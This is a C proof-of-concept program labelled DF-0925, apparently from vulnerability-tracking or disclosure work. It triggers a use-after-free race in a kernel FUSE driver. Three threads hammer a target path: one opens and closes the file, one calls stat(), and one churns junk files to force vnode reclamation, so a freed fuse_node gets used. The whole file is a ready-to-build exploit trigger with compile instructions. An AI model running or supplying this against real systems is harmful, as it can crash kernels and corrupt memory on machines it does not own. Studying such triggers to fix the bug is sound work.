DF-0925 / race_winner.c
/* * race_winner.c - DF-0925 PoC trigger. * * Three threads racing on /mnt/fuse/target: * A: open/close loop (creates vnode, then makes it reclaimable) * B: stat() loop (drives nresolve -> fuse_alloc_node -> use fnp * after dropping ino_lock) * C: junk-file pressure (forces vnlru to reclaim the vnode + fuse_node * freed by fuse_vop_reclaim) * * Build: cc -o race_winner race_winner.c -lpthread */ #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> static char *g_path; static volatile int g_stop; static void * thread_open_close(void *arg) { (void)arg; while (!g_stop) { int fd = open(g_path, O_RDONLY); if (fd >= 0) close(fd); } return NULL; } static void * thread_stat(void *arg) { (void)arg; struct stat st; while (!g_stop) { if (stat(g_path, &st) != 0) { /* expected intermittently */ } } return NULL; } static void * thread_vnode_pressure(void *arg) { (void)arg; char buf[64]; while (!g_stop) { for (int i = 0; i < 4000; i++) { snprintf(buf, sizeof buf, "/tmp/df0925_junk_%d_%d", getpid(), i); int fd = open(buf, O_CREAT | O_RDWR, 0600); if (fd >= 0) { /* Touch a byte so the vnode sticks around briefly. */ (void)write(fd, "x", 1); close(fd); unlink(buf); } } } return NULL; } int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "usage: %s <fuse_path>\n", argv[0]); return 2; } g_path = argv[1]; pthread_t t[3]; pthread_create(&t[0], NULL, thread_open_close, NULL); pthread_create(&t[1], NULL, thread_stat, NULL); pthread_create(&t[2], NULL, thread_vnode_pressure, NULL); sleep(120); g_stop = 1; for (int i = 0; i < 3; i++) pthread_join(t[i], NULL); return 0; } |